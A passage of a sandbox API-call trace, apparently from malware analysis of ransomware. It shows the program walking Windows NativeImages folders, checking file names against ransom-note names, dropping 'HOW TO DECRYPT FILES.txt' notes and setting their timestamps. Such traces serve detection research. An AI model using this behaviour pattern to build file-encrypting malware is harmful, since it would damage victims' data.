cFileName=".", cAlternateFileName="")) returned 0x502598 [0123.381] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.381] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8da5cc90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8da5cc90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8da5cc90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.381] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.381] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.382] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8da5cc90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8da5cc90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8da5cc90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="c2b620d7432f7b69a2a9b71187c628bb", cAlternateFileName="C2B620~1")) returned 1 [0123.382] lstrcmpA (lpString1=".", lpString2="c2b620d7432f7b69a2a9b71187c628bb") returned -1 [0123.382] lstrcmpA (lpString1="..", lpString2="c2b620d7432f7b69a2a9b71187c628bb") returned -1 [0123.382] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\*.*") returned="*.*" [0123.382] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\", lpString2="c2b620d7432f7b69a2a9b71187c628bb" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb" [0123.382] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8da5cc90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8da5cc90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8da5cc90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0123.382] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.382] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8da5cc90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8da5cc90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8da5cc90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.382] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.382] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.383] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8da36b30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8da36b30, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8da82df0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x212c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.Services.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0123.383] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.383] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Services.ni.dll") returned -1 [0123.383] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Services.ni.dll") returned -1 [0123.383] lstrcmpiA (lpString1="", lpString2="System.Web.Services.ni.dll") returned -1 [0123.383] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\*.*") returned="*.*" [0123.383] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\" [0123.383] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\") returned="" [0123.383] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\HOW TO DECRYPT FILES.txt" [0123.383] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.services\\c2b620d7432f7b69a2a9b71187c628bb\\how to decrypt files.txt")) returned 0xffffffff [0123.383] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.services\\c2b620d7432f7b69a2a9b71187c628bb\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0123.395] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0123.395] CloseHandle (hObject=0x90) returned 1 [0123.395] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\", lpString2="System.Web.Services.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\System.Web.Services.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\System.Web.Services.ni.dll" [0123.395] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\System.Web.Services.ni.dll", pszSpec="*.ems") returned 0 [0123.396] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8da5cc90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8da5cc90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8da5cc90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x62c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Services.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0123.396] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.396] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Services.ni.dll.aux") returned -1 [0123.396] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Services.ni.dll.aux") returned -1 [0123.396] lstrcmpiA (lpString1="", lpString2="System.Web.Services.ni.dll.aux") returned -1 [0123.396] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\System.Web.Services.ni.dll") returned="System.Web.Services.ni.dll" [0123.396] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\" [0123.396] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\") returned="" [0123.396] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\HOW TO DECRYPT FILES.txt" [0123.396] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.web.services\\c2b620d7432f7b69a2a9b71187c628bb\\how to decrypt files.txt")) returned 0x20 [0123.396] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\", lpString2="System.Web.Services.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\System.Web.Services.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\System.Web.Services.ni.dll.aux" [0123.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.Services\\c2b620d7432f7b69a2a9b71187c628bb\\System.Web.Services.ni.dll.aux", pszSpec="*.ems") returned 0 [0123.397] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8da5cc90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8da5cc90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8da5cc90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x62c, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Services.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0123.397] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0123.397] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8da5cc90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8da5cc90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8da5cc90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="c2b620d7432f7b69a2a9b71187c628bb", cAlternateFileName="C2B620~1")) returned 0 [0123.397] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0123.397] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2e7f230, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb2e7f230, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb2e7f230, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Wind0de890be#", cAlternateFileName="SYSTEM~3.WIN")) returned 1 [0123.397] lstrcmpA (lpString1=".", lpString2="System.Wind0de890be#") returned -1 [0123.397] lstrcmpA (lpString1="..", lpString2="System.Wind0de890be#") returned -1 [0123.397] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0123.398] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Wind0de890be#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#" [0123.398] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2e7f230, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb2e7f230, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb2e7f230, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0123.399] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.399] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2e7f230, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb2e7f230, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb2e7f230, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.399] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.399] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.399] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2e7f230, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb2ea5390, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb2ea5390, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="dacce78d04c965cfa8a0bd2d769c0df9", cAlternateFileName="DACCE7~1")) returned 1 [0123.400] lstrcmpA (lpString1=".", lpString2="dacce78d04c965cfa8a0bd2d769c0df9") returned -1 [0123.400] lstrcmpA (lpString1="..", lpString2="dacce78d04c965cfa8a0bd2d769c0df9") returned -1 [0123.400] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\*.*") returned="*.*" [0123.400] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\", lpString2="dacce78d04c965cfa8a0bd2d769c0df9" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9" [0123.400] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2e7f230, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb2ea5390, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb2ea5390, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0123.526] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0123.526] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb2e7f230, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb2ea5390, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb2ea5390, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.527] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0123.527] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0123.527] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2e32f70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb2e32f70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb2ea5390, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x4fb200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Windows.Forms.DataVisualization.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0123.527] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.527] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Windows.Forms.DataVisualization.ni.dll") returned -1 [0123.527] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Windows.Forms.DataVisualization.ni.dll") returned -1 [0123.527] lstrcmpiA (lpString1="", lpString2="System.Windows.Forms.DataVisualization.ni.dll") returned -1 [0123.527] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\*.*") returned="*.*" [0123.527] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\" [0123.527] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\") returned="" [0123.527] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\HOW TO DECRYPT FILES.txt" [0123.527] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\how to decrypt files.txt")) returned 0xffffffff [0123.527] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0123.531] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0123.531] CloseHandle (hObject=0x90) returned 1 [0123.531] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\", lpString2="System.Windows.Forms.DataVisualization.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\System.Windows.Forms.DataVisualization.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\System.Windows.Forms.DataVisualization.ni.dll" [0123.531] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\System.Windows.Forms.DataVisualization.ni.dll", pszSpec="*.ems") returned 0 [0123.532] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2ea5390, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb2ea5390, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb2ea5390, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x4e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Forms.DataVisualization.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0123.532] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.532] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Windows.Forms.DataVisualization.ni.dll.aux") returned -1 [0123.532] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Windows.Forms.DataVisualization.ni.dll.aux") returned -1 [0123.532] lstrcmpiA (lpString1="", lpString2="System.Windows.Forms.DataVisualization.ni.dll.aux") returned -1 [0123.532] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\System.Windows.Forms.DataVisualization.ni.dll") returned="System.Windows.Forms.DataVisualization.ni.dll" [0123.532] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\" [0123.532] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\") returned="" [0123.532] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\HOW TO DECRYPT FILES.txt" [0123.532] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\how to decrypt files.txt")) returned 0x20 [0123.532] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\", lpString2="System.Windows.Forms.DataVisualization.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\System.Windows.Forms.DataVisualization.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\System.Windows.Forms.DataVisualization.ni.dll.aux" [0123.532] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Wind0de890be#\\dacce78d04c965cfa8a0bd2d769c0df9\\System.Windows.Forms.DataVisualization.ni.dll.aux", pszSpec="*.ems") returned 0 [0123.533] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2ea5390, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb2ea5390, 